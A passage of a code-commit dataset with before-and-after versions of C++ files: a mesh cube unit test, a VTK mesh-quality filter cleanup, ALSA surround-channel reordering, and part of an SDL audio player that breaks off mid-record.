vhandle[2] = mesh_.add_vertex(PolyMesh::Point( 1,  1,  1));\n  vhandle[3] = mesh_.add_vertex(PolyMesh::Point(-1,  1,  1));\n  vhandle[4] = mesh_.add_vertex(PolyMesh::Point(-1, -1, -1));\n  vhandle[5] = mesh_.add_vertex(PolyMesh::Point( 1, -1, -1));\n  vhandle[6] = mesh_.add_vertex(PolyMesh::Point( 1,  1, -1));\n  vhandle[7] = mesh_.add_vertex(PolyMesh::Point(-1,  1, -1));\n\n  \/\/ Add six faces to form a cube\n  std::vector<Mesh::VertexHandle> face_vhandles;\n\n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[3]);\n  mesh_.add_face(face_vhandles);\n \n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[7]);\n  face_vhandles.push_back(vhandle[6]);\n  face_vhandles.push_back(vhandle[5]);\n  face_vhandles.push_back(vhandle[4]);\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[4]);\n  face_vhandles.push_back(vhandle[5]);\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[1]);\n  face_vhandles.push_back(vhandle[5]);\n  face_vhandles.push_back(vhandle[6]);\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[3]);\n  face_vhandles.push_back(vhandle[2]);\n  face_vhandles.push_back(vhandle[6]);\n  face_vhandles.push_back(vhandle[7]);\n  mesh_.add_face(face_vhandles);\n\n  face_vhandles.clear();\n  face_vhandles.push_back(vhandle[0]);\n  face_vhandles.push_back(vhandle[3]);\n  face_vhandles.push_back(vhandle[7]);\n  face_vhandles.push_back(vhandle[4]);\n  mesh_.add_face(face_vhandles);\n\n\n  \/\/ Test setup:\n  \/\/\n  \/\/\n  \/\/    3 ======== 2\n  \/\/   \/          \/|\n  \/\/  \/          \/ |      z\n  \/\/ 0 ======== 1  |      |\n  \/\/ |          |  |      |   y\n  \/\/ |  7       |  6      |  \/\n  \/\/ |          | \/       | \/\n  \/\/ |          |\/        |\/\n  \/\/ 4 ======== 5         -------> x\n  \/\/\n\n  \/\/ Check setup\n  EXPECT_EQ(8u, mesh_.n_vertices() ) << \"Wrong number of vertices\";\n  EXPECT_EQ(6u, mesh_.n_faces() )    << \"Wrong number of faces\";\n\n}\n\n\n#endif \/\/ INCLUDE GUARD\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkMeshQuality.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkMeshQuality.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkDataSet.h\"\n#include \"vtkFieldData.h\"\n#include \"vtkFloatArray.h\"\n#include \"vtkMath.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkTetra.h\"\n\nvtkCxxRevisionMacro(vtkMeshQuality, \"1.6\");\nvtkStandardNewMacro(vtkMeshQuality);\n\n\/\/----------------------------------------------------------------------------\n\/\/ Constructor\nvtkMeshQuality::vtkMeshQuality() \n{\n this->GeometryOff();\n this->TopologyOff();\n this->FieldDataOff();\n this->PointDataOff();\n this->CellDataOn();\n \n this->Volume = 1;\n this->Ratio = 1;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/destructor\nvtkMeshQuality::~vtkMeshQuality() \n{ \n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkMeshQuality::Execute()\n{\n  int j;\n  vtkDataSet *input = this->GetInput();\n  vtkIdType numCells=input->GetNumberOfCells();\n  vtkIdList *id = vtkIdList::New();\n  vtkCellData *celld = vtkCellData::New();\n  vtkFloatArray *scalars = vtkFloatArray::New();\n  if (this->Volume && this->Ratio)\n    {\n    scalars->SetNumberOfComponents(2);\n    }\n  scalars->SetNumberOfTuples(numCells);\n  \n  double p1[3],p2[3],p3[3],p4[3]; \n  double dp1[3],dp2[3],dp3[3],dp4[3];\n  double volume, ratio;\n  double incenter[3], circenter[3];\n  \n  for (j=0; j<numCells; j++)\n    {\n    input->GetCellPoints(j,id);\n    input->GetPoint(id->GetId(0),p1);\n    dp1[0]=p1[0]; dp1[1]=p1[1]; dp1[2]=p1[2];\n    input->GetPoint(id->GetId(1),p2);\n    dp2[0]=p2[0]; dp2[1]=p2[1]; dp2[2]=p2[2];\n    input->GetPoint(id->GetId(2),p3);\n    dp3[0]=p3[0]; dp3[1]=p3[1]; dp3[2]=p3[2];\n    input->GetPoint(id->GetId(3),p4);\n    dp4[0]=p4[0]; dp4[1]=p4[1]; dp4[2]=p4[2];\n    \n    if (this->Volume && this->Ratio)\n      {\n      volume = fabs(vtkTetra::ComputeVolume(dp1,dp2,dp3,dp4));\n      ratio = sqrt(vtkTetra::Circumsphere(dp1,dp2,dp3,dp4, circenter))\/\\\n        vtkTetra::Insphere(dp1,dp2,dp3,dp4,incenter);\n      \n      ratio = ratio\/3;\n      \n      scalars->SetTuple2(j,volume,ratio);\n      }\n    else if (this->Ratio)\n      {\n      ratio = sqrt(vtkTetra::Circumsphere(dp1,dp2,dp3,dp4, circenter))\/\\\n        vtkTetra::Insphere(dp1,dp2,dp3,dp4,incenter);\n      ratio = ratio\/3;\n      scalars->SetTuple1(j,ratio);\n      }\n    else if (this->Volume)\n      {\n      volume = fabs(vtkTetra::ComputeVolume(dp1,dp2,dp3,dp4));\n      scalars->SetTuple1(j,volume);\n      }\n    else\n      {\n      vtkErrorMacro(<<\"Nothing to be calculated!!!!\");\n      }\n    }\n  \n  int idx = celld->AddArray(scalars);\n  celld->SetActiveAttribute(idx, vtkDataSetAttributes::SCALARS);\n  this->GetOutput()->SetFieldData(celld);\n  celld->Delete();\n  id->Delete();\n  scalars->Delete();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkMeshQuality::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToDataObjectFilter::PrintSelf(os,indent);\n\n  os << indent << \"Input: \" << this->GetInput() << \"\\n\";\n  os << indent << \"Volume: \" << (this->Volume ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Ratio: \" << (this->Ratio ? \"On\\n\" : \"Off\\n\");\n}\n<commit_msg>STYLE: Suggested by Philippe P. Pebay<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkMeshQuality.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkMeshQuality.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkDataSet.h\"\n#include \"vtkFieldData.h\"\n#include \"vtkFloatArray.h\"\n#include \"vtkMath.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkTetra.h\"\n\nvtkCxxRevisionMacro(vtkMeshQuality, \"1.7\");\nvtkStandardNewMacro(vtkMeshQuality);\n\n\/\/----------------------------------------------------------------------------\n\/\/ Constructor\nvtkMeshQuality::vtkMeshQuality() \n{\n this->GeometryOff();\n this->TopologyOff();\n this->FieldDataOff();\n this->PointDataOff();\n this->CellDataOn();\n \n this->Volume = 1;\n this->Ratio = 1;\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/destructor\nvtkMeshQuality::~vtkMeshQuality() \n{ \n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkMeshQuality::Execute()\n{\n  int j;\n  vtkDataSet *input = this->GetInput();\n  vtkIdType numCells=input->GetNumberOfCells();\n  vtkIdList *id = vtkIdList::New();\n  vtkCellData *celld = vtkCellData::New();\n  vtkFloatArray *scalars = vtkFloatArray::New();\n  if (this->Volume && this->Ratio)\n    {\n    scalars->SetNumberOfComponents(2);\n    }\n  scalars->SetNumberOfTuples(numCells);\n  \n  double dp1[3],dp2[3],dp3[3],dp4[3];\n  double volume, ratio;\n  double incenter[3], circenter[3];\n  \n  for (j=0; j<numCells; j++)\n    {\n    input->GetCellPoints(j,id);\n    input->GetPoint(id->GetId(0),dp1);\n    input->GetPoint(id->GetId(1),dp2);\n    input->GetPoint(id->GetId(2),dp3);\n    input->GetPoint(id->GetId(3),dp4);\n    \n    if (this->Volume && this->Ratio)\n      {\n      volume = fabs(vtkTetra::ComputeVolume(dp1,dp2,dp3,dp4));\n      ratio = sqrt(vtkTetra::Circumsphere(dp1,dp2,dp3,dp4, circenter))\/\\\n        vtkTetra::Insphere(dp1,dp2,dp3,dp4,incenter);\n      \n      ratio = ratio\/3;\n      \n      scalars->SetTuple2(j,volume,ratio);\n      }\n    else if (this->Ratio)\n      {\n      ratio = sqrt(vtkTetra::Circumsphere(dp1,dp2,dp3,dp4, circenter))\/\\\n        vtkTetra::Insphere(dp1,dp2,dp3,dp4,incenter);\n      ratio = ratio\/3;\n      scalars->SetTuple1(j,ratio);\n      }\n    else if (this->Volume)\n      {\n      volume = fabs(vtkTetra::ComputeVolume(dp1,dp2,dp3,dp4));\n      scalars->SetTuple1(j,volume);\n      }\n    else\n      {\n      vtkErrorMacro(<<\"Nothing to be calculated!!!!\");\n      }\n    }\n  \n  int idx = celld->AddArray(scalars);\n  celld->SetActiveAttribute(idx, vtkDataSetAttributes::SCALARS);\n  this->GetOutput()->SetFieldData(celld);\n  celld->Delete();\n  id->Delete();\n  scalars->Delete();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkMeshQuality::PrintSelf(ostream& os, vtkIndent indent)\n{\n  vtkDataSetToDataObjectFilter::PrintSelf(os,indent);\n\n  os << indent << \"Input: \" << this->GetInput() << \"\\n\";\n  os << indent << \"Volume: \" << (this->Volume ? \"On\\n\" : \"Off\\n\");\n  os << indent << \"Ratio: \" << (this->Ratio ? \"On\\n\" : \"Off\\n\");\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"alsa.hpp\"\n#include <audio_io\/audio_io.hpp>\n#include <audio_io\/private\/audio_outputs.hpp>\n#include <audio_io\/private\/sample_format_converter.hpp>\n#include <vector>\n#include <string>\n#include <functional>\n#include <thread>\n#include <atomic>\n#include <algorithm>\n#include <alsa\/asoundlib.h>\n\nnamespace audio_io {\nnamespace implementation {\n\nAlsaOutputDevice::AlsaOutputDevice(std::function<void(float*, int)> callback, std::string name, int sr, int channels, int blockSize, float minLatency, float startLatency, float maxLatency) {\n\tsnd_pcm_hw_params_t *params;\n\tsnd_pcm_sw_params_t *params_sw;\n\tsnd_pcm_hw_params_alloca(&params);\n\tsnd_pcm_sw_params_alloca(&params_sw);\n\tint res = snd_pcm_open(&device_handle, name.c_str(), SND_PCM_STREAM_PLAYBACK, 0);\n\tif(res) {\n\t\tthrow AudioIOError(\"An Alsa Error occurred.\");\n\t}\n\tres = snd_pcm_hw_params_any(device_handle, params);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"Alsa: could not configuer PCM device.\");\n\t}\n\t\/\/TODO: this doesn't deal with endianness properly, and uses our knowledge that x86 is little endian.\n\tres = snd_pcm_hw_params_set_format(device_handle, params, SND_PCM_FORMAT_FLOAT_LE);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Couldn't get little endian float.\");\n\t}\n\tunsigned int alsaChannels = channels;\n\tres = snd_pcm_hw_params_set_channels_near (device_handle, params, &alsaChannels);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"Couldn't constrain channel count.\");\n\t}\n\tunsigned int alsaSr = sr;\n\tres = snd_pcm_hw_params_set_rate_near(device_handle, params, &alsaSr, 0);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Couldn't constrain sample rate.\");\n\t}\n\tres = snd_pcm_hw_params_set_access(device_handle, params, SND_PCM_ACCESS_RW_INTERLEAVED);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set access.\");\n\t}\n\t\/\/Use 10 milliseconds (1 ms = 1000 us).\n\t\/\/No app is likely to go below this, nor should we.\n\tunsigned int alsaPeriodMicrosecs = 10000;\n\tres = snd_pcm_hw_params_set_period_time_near(device_handle, params, &alsaPeriodMicrosecs, 0);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't configure period time.\");\n\t}\n\t\/\/compute needed buffer size and bump maxLatency if needed.\n\tmaxLatency = std::max<double>(maxLatency, 2.3*blockSize\/(double)sr);\n\tsnd_pcm_uframes_t alsaBufferSize = alsaSr*maxLatency;\n\tres = snd_pcm_hw_params_set_buffer_size_near(device_handle, params, &alsaBufferSize);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set buffer size.\");\n\t}\n\tres = snd_pcm_hw_params(device_handle, params);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Could not prepare device.\");\n\t}\n\t\/\/Software parameter setup.\n\tres = snd_pcm_sw_params_current(device_handle, params_sw);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't get current software parameters.\");\n\t}\n\t\/\/Start the device when the buffer is 90% full.\n\tres = snd_pcm_sw_params_set_start_threshold(device_handle, params_sw, (snd_pcm_uframes_t)(0.9*alsaBufferSize));\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set startup threshold.\");\n\t}\n\tres = snd_pcm_sw_params(device_handle, params_sw);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't install software params.\");\n\t}\n\tinit(callback, blockSize, channels, sr, (int)alsaChannels, (int)alsaSr);\n\tworker_running.test_and_set();\n\tworker_thread = std::thread([&] () {workerThreadFunction();});\n}\n\nAlsaOutputDevice::~AlsaOutputDevice() {\n\tstop();\n}\n\nvoid AlsaOutputDevice::stop() {\n\tif(stopped == false) {\n\t\tif(worker_thread.joinable()) {\n\t\t\tworker_running.clear();\n\t\t\tworker_thread.join();\n\t\t}\n\t}\n\tstopped = true;\n}\n\nvoid AlsaOutputDevice::workerThreadFunction() {\n\tfloat* buffer = new float[output_channels*output_frames]();\n\twhile(worker_running.test_and_set()) {\n\t\tsample_format_converter->write(output_frames, buffer);\n\t\tsnd_pcm_sframes_t res = snd_pcm_writei(device_handle, buffer, (snd_pcm_uframes_t)output_frames);\n\t\tif(res < 0) {\n\t\t\tsnd_pcm_prepare(device_handle);\n\t\t}\n\t}\n\tsnd_pcm_drain(device_handle);\n\tsnd_pcm_close(device_handle);\n\tdelete[] buffer;\n}\n\n}\n}<commit_msg>Hypothetically support surround sound properly on ALSA.  Only time can tell if this works.<commit_after>#include \"alsa.hpp\"\n#include <audio_io\/audio_io.hpp>\n#include <audio_io\/private\/audio_outputs.hpp>\n#include <audio_io\/private\/sample_format_converter.hpp>\n#include <vector>\n#include <string>\n#include <functional>\n#include <thread>\n#include <atomic>\n#include <algorithm>\n#include <alsa\/asoundlib.h>\n\nnamespace audio_io {\nnamespace implementation {\n\nAlsaOutputDevice::AlsaOutputDevice(std::function<void(float*, int)> callback, std::string name, int sr, int channels, int blockSize, float minLatency, float startLatency, float maxLatency) {\n\tsnd_pcm_hw_params_t *params;\n\tsnd_pcm_sw_params_t *params_sw;\n\tsnd_pcm_hw_params_alloca(&params);\n\tsnd_pcm_sw_params_alloca(&params_sw);\n\tint res = snd_pcm_open(&device_handle, name.c_str(), SND_PCM_STREAM_PLAYBACK, 0);\n\tif(res) {\n\t\tthrow AudioIOError(\"An Alsa Error occurred.\");\n\t}\n\tres = snd_pcm_hw_params_any(device_handle, params);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"Alsa: could not configuer PCM device.\");\n\t}\n\t\/\/TODO: this doesn't deal with endianness properly, and uses our knowledge that x86 is little endian.\n\tres = snd_pcm_hw_params_set_format(device_handle, params, SND_PCM_FORMAT_FLOAT_LE);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Couldn't get little endian float.\");\n\t}\n\tunsigned int alsaChannels = channels;\n\tres = snd_pcm_hw_params_set_channels_near (device_handle, params, &alsaChannels);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"Couldn't constrain channel count.\");\n\t}\n\tunsigned int alsaSr = sr;\n\tres = snd_pcm_hw_params_set_rate_near(device_handle, params, &alsaSr, 0);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Couldn't constrain sample rate.\");\n\t}\n\tres = snd_pcm_hw_params_set_access(device_handle, params, SND_PCM_ACCESS_RW_INTERLEAVED);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set access.\");\n\t}\n\t\/\/Use 10 milliseconds (1 ms = 1000 us).\n\t\/\/No app is likely to go below this, nor should we.\n\tunsigned int alsaPeriodMicrosecs = 10000;\n\tres = snd_pcm_hw_params_set_period_time_near(device_handle, params, &alsaPeriodMicrosecs, 0);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't configure period time.\");\n\t}\n\t\/\/compute needed buffer size and bump maxLatency if needed.\n\tmaxLatency = std::max<double>(maxLatency, 2.3*blockSize\/(double)sr);\n\tsnd_pcm_uframes_t alsaBufferSize = alsaSr*maxLatency;\n\tres = snd_pcm_hw_params_set_buffer_size_near(device_handle, params, &alsaBufferSize);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set buffer size.\");\n\t}\n\tres = snd_pcm_hw_params(device_handle, params);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: Could not prepare device.\");\n\t}\n\t\/\/Software parameter setup.\n\tres = snd_pcm_sw_params_current(device_handle, params_sw);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't get current software parameters.\");\n\t}\n\t\/\/Start the device when the buffer is 90% full.\n\tres = snd_pcm_sw_params_set_start_threshold(device_handle, params_sw, (snd_pcm_uframes_t)(0.9*alsaBufferSize));\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't set startup threshold.\");\n\t}\n\tres = snd_pcm_sw_params(device_handle, params_sw);\n\tif(res < 0) {\n\t\tthrow AudioIOError(\"ALSA: couldn't install software params.\");\n\t}\n\tinit(callback, blockSize, channels, sr, (int)alsaChannels, (int)alsaSr);\n\tworker_running.test_and_set();\n\tworker_thread = std::thread([&] () {workerThreadFunction();});\n}\n\nAlsaOutputDevice::~AlsaOutputDevice() {\n\tstop();\n}\n\nvoid AlsaOutputDevice::stop() {\n\tif(stopped == false) {\n\t\tif(worker_thread.joinable()) {\n\t\t\tworker_running.clear();\n\t\t\tworker_thread.join();\n\t\t}\n\t}\n\tstopped = true;\n}\n\nvoid AlsaOutputDevice::workerThreadFunction() {\n\tfloat* buffer = new float[output_channels*output_frames]();\n\twhile(worker_running.test_and_set()) {\n\t\tsample_format_converter->write(output_frames, buffer);\n\t\t\/\/If we're 5.1 or 7.1, we need to swap the channels around to match Linux's idea of surround sound.\n\t\t\/\/The stuff herer comes from http:\/\/drona.csa.iisc.ernet.in\/~uday\/alsamch.shtml\n\t\t\/\/If this doesn't work, there is an ALSA channel mapping API.\n\t\tif(output_channels == 6 || output_channels == 8) {\n\t\t\tconst int initial_center = 2, initial_lfe = 3;\n\t\t\tconst int new_center = output_channels-2, new_lfe = output_channels-1;\n\t\t\tfor(int i = 0; i < output_frames*output_channels; i+= output_channels) {\n\t\t\t\tstd::swap(buffer[i+initial_center], buffer[i+new_center]);\n\t\t\t\tstd::swap(buffer[i+initial_lfe], buffer[i+new_lfe]);\n\t\t\t}\n\t\t}\n\t\tsnd_pcm_sframes_t res = snd_pcm_writei(device_handle, buffer, (snd_pcm_uframes_t)output_frames);\n\t\tif(res < 0) {\n\t\t\tsnd_pcm_prepare(device_handle);\n\t\t}\n\t}\n\tsnd_pcm_drain(device_handle);\n\tsnd_pcm_close(device_handle);\n\tdelete[] buffer;\n}\n\n}\n}<|endoftext|>"}
{"text":"<commit_before>\/\/\/ @file\n\/\/\/ @version 3.4\n\/\/\/ \n\/\/\/ @section LICENSE\n\/\/\/ \n\/\/\/ This program is free software; you can redistribute it and\/or modify it under\n\/\/\/ the terms of the BSD license: http:\/\/opensource.org\/licenses\/BSD-3-Clause\n\n#ifdef _SDL\n\/\/#include <SDL\/SDL.h>\n\n#include <hltypes\/hltypesUtil.h>\n\n#include \"Buffer.h\"\n#include \"SDL_AudioManager.h\"\n#include \"SDL_Player.h\"\n#include \"Sound.h\"\n#include \"xal.h\"\n\nnamespace xal\n{\n\tSDL_Player::SDL_Player(Sound* sound) : Player(sound), playing(false),\n\t\tposition(0), currentGain(1.0f), readPosition(0), writePosition(0)\n\t{\n\t\tmemset(this->circleBuffer, 0, STREAM_BUFFER * sizeof(unsigned char));\n\t}\n\n\tSDL_Player::~SDL_Player()\n\t{\n\t\t\/\/ AudioManager calls _stop before destruction\n\t}\n\n\tvoid SDL_Player::_getData(int size, unsigned char** data1, int* size1, unsigned char** data2, int* size2)\n\t{\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tint streamSize = this->buffer->load(this->looping, size);\n\t\t\tif (streamSize == 0)\n\t\t\t{\n\t\t\t\t*data1 = NULL;\n\t\t\t\t*size1 = 0;\n\t\t\t\t*data2 = NULL;\n\t\t\t\t*size2 = 0;\n\t\t\t\treturn;\n\t\t\t}\n\t\t\thstream& stream = this->buffer->getStream();\n\t\t\t*data1 = (unsigned char*)&stream[this->readPosition];\n\t\t\t*size1 = hmin(hmin(streamSize, streamSize - this->readPosition), size);\n\t\t\t*data2 = NULL;\n\t\t\t*size2 = 0;\n\t\t\tif (this->looping && this->readPosition + size > streamSize)\n\t\t\t{\n\t\t\t\t*data2 = (unsigned char*)stream;\n\t\t\t\t*size2 = size - *size1;\n\t\t\t\tthis->readPosition = (this->readPosition + size) % streamSize;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthis->readPosition = hmin(this->readPosition + size, streamSize);\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\t*data1 = &this->circleBuffer[this->readPosition];\n\t\t*size1 = size;\n\t\t*data2 = NULL;\n\t\t*size2 = 0;\n\t\tif (this->readPosition + size > STREAM_BUFFER)\n\t\t{\n\t\t\t*size1 = STREAM_BUFFER - this->readPosition;\n\t\t\t*data2 = this->circleBuffer;\n\t\t\t*size2 = size - *size1;\n\t\t}\n\t\tthis->readPosition = (this->readPosition + size) % STREAM_BUFFER;\n\t}\n\n\tvoid SDL_Player::_update(float timeDelta)\n\t{\n\t\tPlayer::_update(timeDelta);\n\t\t\/\/ making sure a corrected size is used\n\t\tint size = this->buffer->calcOutputSize(this->buffer->getSize());\n\t\tif (size > 0 && this->position >= size)\n\t\t{\n\t\t\tif (this->looping)\n\t\t\t{\n\t\t\t\tthis->position -= this->position \/ size * size;\n\t\t\t}\n\t\t\telse if (this->playing)\n\t\t\t{\n\t\t\t\tthis->_stop();\n\t\t\t}\n\t\t}\n\t}\n\n\tbool SDL_Player::mixAudio(hstream& stream, int size, bool first)\n\t{\n\t\tif (!this->playing)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tunsigned char* data1 = NULL;\n\t\tint size1 = 0;\n\t\tunsigned char* data2 = NULL;\n\t\tint size2 = 0;\n\t\tthis->_getData(size, &data1, &size1, &data2, &size2); \/\/ ironically this is very similar to how DirectSound does things internally\n\t\tif (size1 > 0)\n\t\t{\n\t\t\tif (first && this->currentGain == 1.0f)\n\t\t\t{\n\t\t\t\tmemcpy((unsigned char*)stream, data1, size1);\n\t\t\t\tif (size2 > 0)\n\t\t\t\t{\n\t\t\t\t\tmemcpy((void*)&stream[size1], data2, size2);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tshort* sStream = (short*)(unsigned char*)stream;\n\t\t\t\tshort* sData1 = (short*)data1;\n\t\t\t\tshort* sData2 = (short*)data2;\n\t\t\t\tsize1 = size1 * sizeof(unsigned char) \/ sizeof(short);\n\t\t\t\tsize2 = size2 * sizeof(unsigned char) \/ sizeof(short);\n\t\t\t\tif (!first)\n\t\t\t\t{\n\t\t\t\t\tfor_iter (i, 0, size1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[i] = (short)hclamp((int)(sStream[i] + this->currentGain * sData1[i]), -32768, 32767);\n\t\t\t\t\t}\n\t\t\t\t\tfor_iter (i, 0, size2)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[size1 + i] = (short)hclamp((int)(sStream[size1 + i] + this->currentGain * sData2[i]), -32768, 32767);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tfor_iter (i, 0, size1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[i] = (short)(sData1[i] * this->currentGain);\n\t\t\t\t\t}\n\t\t\t\t\tfor_iter (i, 0, size2)\n\t\t\t\t\t{\n\t\t\t\t\t\tsStream[size1 + i] = (short)(sData2[i] * this->currentGain);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tthis->position += size1 + size2;\n\t\t}\n\t\treturn true;\n\t}\n\n\tunsigned int SDL_Player::_systemGetBufferPosition()\n\t{\n\t\tint count = 0;\n\t\tif (this->readPosition > this->writePosition)\n\t\t{\n\t\t\tcount = (this->readPosition - this->writePosition);\n\t\t}\n\t\telse if (this->readPosition < this->writePosition)\n\t\t{\n\t\t\tcount = (STREAM_BUFFER - this->writePosition + this->readPosition);\n\t\t}\n\t\treturn this->buffer->calcInputSize(count);\n\t}\n\n\tfloat SDL_Player::_systemGetOffset()\n\t{\n\t\treturn this->offset;\n\t}\n\n\tvoid SDL_Player::_systemSetOffset(float value)\n\t{\n\t\tthis->offset = value;\n\t}\n\n\tbool SDL_Player::_systemPreparePlay()\n\t{\n\t\treturn true;\n\t}\n\n\tvoid SDL_Player::_systemPrepareBuffer()\n\t{\n\t\tif (!this->sound->isStreamed())\n\t\t{\n\t\t\tthis->buffer->load(this->looping, this->buffer->getSize());\n\t\t\treturn;\n\t\t}\n\t\tif (!this->paused)\n\t\t{\n\t\t\tthis->readPosition = 0;\n\t\t\tthis->writePosition = 0;\n\t\t\tint size = this->_fillBuffer(STREAM_BUFFER);\n\t\t\tif (size < STREAM_BUFFER)\n\t\t\t{\n\t\t\t\tmemset(&this->circleBuffer[size], 0, (STREAM_BUFFER - size) * sizeof(unsigned char));\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid SDL_Player::_systemUpdateGain()\n\t{\n\t\tthis->currentGain = this->_calcGain();\n\t}\n\n\tvoid SDL_Player::_systemPlay()\n\t{\n\t\tthis->playing = true;\n\t}\n\n\tint SDL_Player::_systemStop()\n\t{\n\t\tthis->playing = false;\n\t\tif (!this->paused)\n\t\t{\n\t\t\tthis->position = 0;\n\t\t\tthis->readPosition = 0;\n\t\t\tthis->writePosition = 0;\n\t\t\tthis->buffer->rewind();\n\t\t}\n\t\treturn 0;\n\t}\n\n\tint SDL_Player::_systemUpdateStream()\n\t{\n\t\tint result = 0;\n\t\tint count = 0;\n\t\tif (this->readPosition > this->writePosition)\n\t\t{\n\t\t\tcount = (this->readPosition - this->writePosition) \/ STREAM_BUFFER_SIZE;\n\t\t}\n\t\telse if (this->readPosition < this->writePosition)\n\t\t{\n\t\t\tcount = (STREAM_BUFFER - this->writePosition + this->readPosition) \/ STREAM_BUFFER_SIZE;\n\t\t}\n\t\tif (count > 0)\n\t\t{\n\t\t\tresult = this->_fillBuffer(count * STREAM_BUFFER_SIZE);\n\t\t\tresult = this->buffer->calcInputSize(result);\n\t\t}\n\t\treturn result;\n\t}\n\n\tint SDL_Player::_fillBuffer(int size)\n\t{\n\t\t\/\/ making sure the buffer doesn't overflow since upsampling can cause that\n\t\tsize = this->buffer->calcInputSize(size);\n\t\t\/\/ load the data from the buffer\n\t\tint streamSize = this->buffer->load(this->looping, size);\n\t\thstream& stream = this->buffer->getStream();\n\t\tif (this->writePosition + streamSize <= STREAM_BUFFER)\n\t\t{\n\t\t\tmemcpy(&this->circleBuffer[this->writePosition], (unsigned char*)stream, streamSize * sizeof(unsigned char));\n\t\t}\n\t\telse\n\t\t{\n\t\t\tint remaining = STREAM_BUFFER - this->writePosition;\n\t\t\tmemcpy(&this->circleBuffer[this->writePosition], (unsigned char*)stream, remaining * sizeof(unsigned char));\n\t\t\tmemcpy(this->circleBuffer, (unsigned char*)stream, (streamSize - remaining) * sizeof(unsigned char));\n\t\t}\n\t\tthis->writePosition = (this->writePosition + streamSize) % STREAM_BUFFER;\n\t\tif (!this->looping && streamSize < size) \/\/ fill with silence if source is at the end\n\t\t{\n\t\t\tstreamSize = size - streamSize;\n\t\t\tif (this->writePosition + streamSize <= STREAM_BUFFER)\n\t\t\t{\n\t\t\t\tmemset(&this->circleBuffer[this->writePosition], 0, streamSize * sizeof(unsigned char));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tint remaining = STREAM_BUFFER - this->writePosition;\n\t\t\t\tmemset(&this->circleBuffer[this->writePosition], 0, remaining * sizeof(unsigned char));\n\t\t\t\tmemset(this->circleBuffer, 0, (streamSize - remaining) * sizeof(unsigned char));\n\t\t\t}\n\t\t\tthis->writePosition = (this->writePosition + streamSize) 